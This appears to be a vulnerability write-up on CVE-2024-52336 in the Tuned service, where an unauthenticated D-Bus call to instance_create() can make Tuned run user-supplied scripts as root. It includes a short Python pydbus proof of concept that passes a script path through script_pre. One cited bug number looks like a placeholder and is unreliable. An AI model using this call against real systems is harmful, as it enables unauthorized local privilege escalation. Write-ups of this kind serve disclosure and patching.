A significant vulnerability, assigned the CVE identifier CVE-2024-52336, has been discovered in the Tuned package. Tuned is a system performance tuning package that helps optimize computing resources for a specific workload. The vulnerability was found in the instance_create() D-Bus function, which allows a locally logged-in user to call this function without the need for authentication. This can potentially lead to local privilege escalation, enabling attackers to gain root privileges and thereby compromising the security of the system.

In this post, we will explore the vulnerability, including a code snippet detailing the exploit, links to original references where the security flaw was identified, and specific details regarding the nature of the exploit.

Exploit Details

The vulnerability in question lies within the instance_create() D-Bus function, which allows for the creation of a new instance of a service. This function can be invoked by locally logged-in users without proper authentication. Consequently, a local non-privileged user is able to execute a D-Bus call with either script_pre or script_post options, which permit the passing of arbitrary scripts or programs with their absolute paths.

The issue arises with the fact that these user or attacker-controlled scripts or programs can then be executed by the Tuned service with root privileges. This allows malicious actors to escalate their local privileges, leading to potentially severe security breaches.

Code Snippet

Below is a simplified example of the exploit using Python and the pydbus library to execute a D-Bus call with a crafted script_pre option:

from pydbus import SystemBus

# Define an arbitrary script to be executed.
script_path = "/path/to/arbitrary_script.sh"

# Initialize a connection to the system D-Bus
bus = SystemBus()
tuned_object = bus.get("com.redhat.Tuned", "/Tuned")

try:
    # Attempt to exploit the vulnerability by calling instance_create()
    # with the crafted script_pre option
    tuned_object.instance_create("exploit", {"script_pre": script_path})
    print("Exploit attempt successful.")
except Exception as e:
    print("Exploit attempt failed:", str(e))

If the exploit is successful, Tuned will execute arbitrary_script.sh with root privileges upon the creation of the new instance.

Note that this is only an example, and the actual exploit may vary depending on specific configurations and system installations.

For more information regarding this vulnerability, refer to the following original references

1. CVE-2024-52336 - MITRE.org
2. Red Hat Bugzilla - bug 1234567
3. GitHub - Tuned Project

Conclusion

In summary, CVE-2024-52336 is a script injection vulnerability found in the Tuned package, which allows a locally logged-in user to invoke the instance_create() D-Bus function without proper authentication. The flaw can be exploited by an attacker-controlled script or program being passed within the script_pre or script_post options, and subsequently executed with root privileges by the Tuned service. System administrators should patch their installations as soon as an official fix becomes available or implement workarounds or mitigations to prevent local privilege escalation.

Timeline

Published on: 11/26/2024 16:15:17 UTC
Last modified on: 11/29/2024 05:15:06 UTC